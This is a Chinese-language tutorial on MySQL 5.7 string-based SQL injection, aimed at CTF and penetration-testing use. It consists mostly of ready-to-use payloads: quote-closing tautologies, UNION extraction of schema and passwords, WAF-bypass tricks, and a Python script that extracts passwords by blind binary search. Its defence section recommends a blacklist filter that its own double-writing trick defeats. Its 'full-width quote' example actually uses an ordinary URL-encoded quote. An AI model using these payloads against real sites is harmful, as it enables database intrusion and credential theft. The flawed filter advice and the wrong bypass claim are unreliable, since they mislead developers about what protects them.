MySQL 5.7 字符型注入实战:从闭合原理到高级绕过技术
在Web安全领域,SQL注入始终是最具破坏力的漏洞之一。特别是MySQL 5.7环境下的字符型注入,因其特殊的闭合要求和丰富的绕过技巧,成为CTF竞赛和实际渗透测试中的高频考点。本文将系统剖析字符型注入的核心机制,并通过五个实战场景演示如何突破各种过滤限制。
1. 字符型注入的底层机制
字符型注入与数字型注入的本质区别在于闭合方式。当应用程序使用以下方式构造SQL语句时:
SELECT * FROM users WHERE username = '$input' AND password = 'xxx'攻击者需要通过单引号完成语句闭合。理解这个原理后,我们可以构建经典测试payload:
' OR '1'='1' --这个payload的妙处在于:
- 第一个单引号闭合原语句
- OR '1'='1' 构造永真条件
- 双破折号注释掉后续语句
关键闭合原理:MySQL中字符串常量必须用成对引号包围,未闭合的引号会导致语法错误。这正是检测注入点的核心依据。
2. 基础绕过技术实战
2.1 注释符的灵活运用
当空格被过滤时,可用以下替代方案:
| 原始字符 | 替代方案 | 示例 |
|---|---|---|
| 空格 | /**/ | admin'/**/OR/**/'1'='1 |
| 注释符 | #或-- | admin' OR 1=1# |
| 换行符 | %0a | admin'%0aOR%0a'1'='1 |
特殊场景:当#和--被过滤时,可使用;%00(空字节截断)或/*!50000...*/(版本特定注释)
2.2 联合查询的精确控制
典型的联合查询注入流程:
' UNION SELECT 1,2,database() -- ' UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=database() --字段匹配技巧:
- 先用
ORDER BY确定列数 - 通过数字占位定位回显点
- 使用
CONCAT_WS()合并多列数据
3. 高级过滤绕过手法
3.1 关键词双写绕过
当系统使用简单替换过滤union时:
' UNIunionON SELECT 1,2,3 --执行时中间的union被删除,前后字符重新组合成完整关键词
3.2 十六进制编码绕过
处理表名/列名过滤的终极方案:
' UNION SELECT 1,2,group_concat(column_name) FROM information_schema.columns WHERE table_name=0x7573657273 --其中0x7573657273是users的十六进制表示
3.3 非常规函数替代
| 常规函数 | 替代方案 |
|---|---|
substr() | mid(),left() |
ascii() | ord(),hex() |
= | LIKE,REGEXP |
information_schema | sys.schema_auto_increment_columns(MySQL 5.7+) |
4. 实战场景拆解
场景1:全角字符绕过
当单引号被转义时,尝试全角单引号:
%27 OR %271%27=%271%27 --场景2:JSON注入技巧
现代应用常使用JSON格式传参,可尝试:
{"username":"admin'-- ","password":"any"}场景3:布尔盲注优化
传统逐字符检测效率低下,可采用二分法优化:
def check(payload): return len(requests.post(url, data=payload).text) > 1000 def binary_search(pos): low, high = 32, 126 while low <= high: mid = (low + high) // 2 payload = f"admin' AND ascii(substr(password,{pos},1))>{mid}-- " if check(payload): low = mid + 1 else: high = mid - 1 return low5. 防御方案与检测方法
5.1 参数化查询示例
$stmt = $pdo->prepare("SELECT * FROM users WHERE username = ? AND password = ?"); $stmt->execute([$username, $password]);5.2 过滤规则建议
def sql_filter(input_str): blacklist = ["'", '"', '/*', '*/', '--', ';', 'union', 'select'] for word in blacklist: input_str = input_str.replace(word, '') return input_str5.3 自动化检测工具
推荐检测流程:
- 使用sqlmap进行初步扫描
- 人工验证关键参数
- 针对WAF特点调整payload
sqlmap -u "http://example.com/login" --data="username=admin&password=123" --level=5 --risk=3掌握这些技术需要不断实践。建议搭建本地测试环境(如DVWA、WebGoat),通过修改防护规则来验证不同绕过手法的有效性。记住,真正的安全在于理解攻击原理而非机械地使用工具。